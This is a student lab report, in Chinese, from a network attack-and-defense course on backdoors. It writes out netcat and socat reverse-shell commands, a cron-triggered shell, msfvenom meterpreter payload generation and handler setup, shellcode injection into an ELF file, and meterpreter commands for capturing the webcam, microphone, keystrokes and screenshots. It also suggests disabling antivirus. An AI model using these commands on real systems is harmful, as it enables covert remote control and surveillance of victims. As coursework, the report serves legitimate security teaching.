20192404 2021-2022-2 《网络与系统攻防技术》 实验二实验报告

实验二 后门原理与实践

一、实验目标

(1)使用netcat获取主机操作Shell，cron启动某项任务（任务自定）

PS：cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell。

二、实验要求和准备

2.1实验要求

掌握后门原理及免杀技术

回答问题：
(1)问：例举你能想到的一个后门进入到你系统中的可能方式？
答：在一些网站上下载软件的时候，这些软件就可能携带后门程序，在我们将这些软件下载到我们的电脑的时候，后门程序就会随之进入我们的系统。
(2)问：例举你知道的后门如何启动起来(win及linux)的方式？
答：后门程序可能会和某些软件的启动“绑定”在一起，当我们启动这些软件的时候，后门程序也会随之启动。
(3)问：Meterpreter有哪些给你映像深刻的功能？
答：可以下载或者上传一些文件，或者获取一些系统的信息，甚至于像本次实验中的那样，得到摄像头的拍摄画面和桌面截图，不由得让人细思极恐。
(4)问：如何发现自己有系统有没有被安装后门？
答：可以通过一些抓包工具，看一下自己的电脑有没有发一些异常的信息给一些没有主动访问我们的主机，如果有的话可能就是存在后门程序。

2.2实验准备

首先我们要在自己的win系统下载本次实验所需要的后门工具Netcat和Socat（由于我们的虚拟机kali系统自带这两个后门工具所以就不需要我们再下载）
通过老师提供的附件，我们可以找到这两个后门工具，然后将它们下载到自己找得到的位置就可以

测试是否下载成功（这里我们需要在终端进入到这两个工具所在的位置）：

注意：这里我们最好提前将杀毒软件类的东西关掉，否则会报出风险提示，导致无法运行甚至被删除掉。

然后我们来简单熟悉一下我们实验的工具：
我们先来查看一下win的ip

然后是我们虚拟机的IP地址

测试连通性，看两者能否ping通

win主机运行监听指令ncat.exe -l -p 8888，linux反弹连接win主机指令nc 192.168.56.1 8888 -e /bin/sh，然后进行测试

成功，然后我们开始实验。

三、实验过程

3.1 使用Ncat获取主机操作 Shell ，cron启动

首先我们已经获得的主机和虚拟机的ip地址
192.168.31.20 192.168.190.128
接着，在 Win端内监听本机的4316（任意）端口，输入ncat -l -p 4316 后进入监听状态
接下来，在 kali虚拟机端内编辑一条定时任务，终端输入 crontab -e ，通过vim在最下面增加一条定时任务，根据实验时间选取一个合适的时间
比如我是在7点32分做的实验，于是我就选取每个小时的第35分钟增加任务

等待一会后，我们发现我们已经成功的在监听端（win）获取了被监听端（kali）的shell

3.2使用Socat获取主机操作 Shell ，任务计划启动

我们在win端和kali端分别执行socat命令：
在win执行socat.exe tcp-listen:5555 exec:cmd.exe,pty,stderr；

在kali执行socat - tcp:192.168.31.20:5555
然后我们就发现我们在kali端得到了一个win的shell

3.3使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

首先，我们要在在kali端通过指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=1234 -f exe > jzb.exe生成可执行文件作为后门程序

然后我们要使用nc工具将我们自己搞出来的后门程序发给我们自己的主机

查看ncat文件夹，接受成功

然后我们在kali上要使用MSF meterpreter工具
输入msfconsole指令进入msf控制台、输入use exploit/multi/handler进入handler、输入set payload windows/meterpreter/reverse_tcp设置连接、输入set LHOST 192.168.190.128设置ip地址（这里指kali的ip地址）、输入set LPORT 2404设置端口号
然后我们输入exploit指令就可以开始监听，接着双击win主机的后门.exe程序，可以在kali上获得远程控制shell

3.4使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

meterpreter有以下的指令：
1）record_mic -d X 可以获得一段X秒的音频
2）webcam_snap 可以获取摄像头拍出来的图像
3）keyscan_start开始记录敲击键盘的过程，输入指令keyscan_dump读取敲击键盘的记录
4）screenshot可以进行截屏
获得的三个文件如下（音频、图像、截屏）：

获得的敲击键盘记录：

3.5使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell（选做）

首先我们要得到上次实验的pwn文件所在位置

接着我们要生成shellcode注入20192404jzb_pwn，输入指令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.202.134 LPORT=8888 -x /home/zgg/桌面/pwn/pwn20192404 -f elf >20192404jzb_pwn

最后在msf控制台输入exploit进行监听（注意端口号要与之前保持一样）。开启另外一个终端输入./20192404jzb_pwn指令，可以发现我们成功获取了shell

四、问题及解决方案

（1）杀毒软件问题

最开始我下载附件里的后门工具时，总是无法运行或者下载不成功甚至杀毒软件会报错
解决方法：直接关掉杀毒软件或者病毒检测。

（2）端口号问题

在实验中我们需要多次用到我们的端口号，如果我们随意使用端口号，在某些步骤端口号需要保持一致等情况时，就很容易搞乱，就像我在做实验时就老实乱选端口号
解决方法：所以建议使用统一好记的数字作为端口号（例如学号）。

（3）虚拟机位数问题

在实验3.3我先找的的指令存在问题，导致后面步骤一直存在问题
解决方法：后来我猜测可能是虚拟机位数问题，后经过寻找后改用新的32位的指令成功完成了后续任务。

五、实验感想和体会

本次实验中，我学习并实践了后门的原理和工具的操作，并且第一次通过自己动手体会到了网络攻击的可怕，尤其是使用meterpreter获取我的摄像头图像的时候，我真的感觉细思极恐，如果不法分子真的使用类似的手段，那我们的隐私甚至个人的安全都会存在巨大的隐患，不过这也让我从反方面有了好好学习这门课的热情，了解了这样进行的攻击，那么究竟该怎么防范呢？尤其是实验提出的问题，如何发现自己有系统有没有被安装后门？ 这也引起了我的兴趣和思考。最后，可以说本次实验让我很受震撼，希望在后续的学习中我能学习到更多更有用的知识！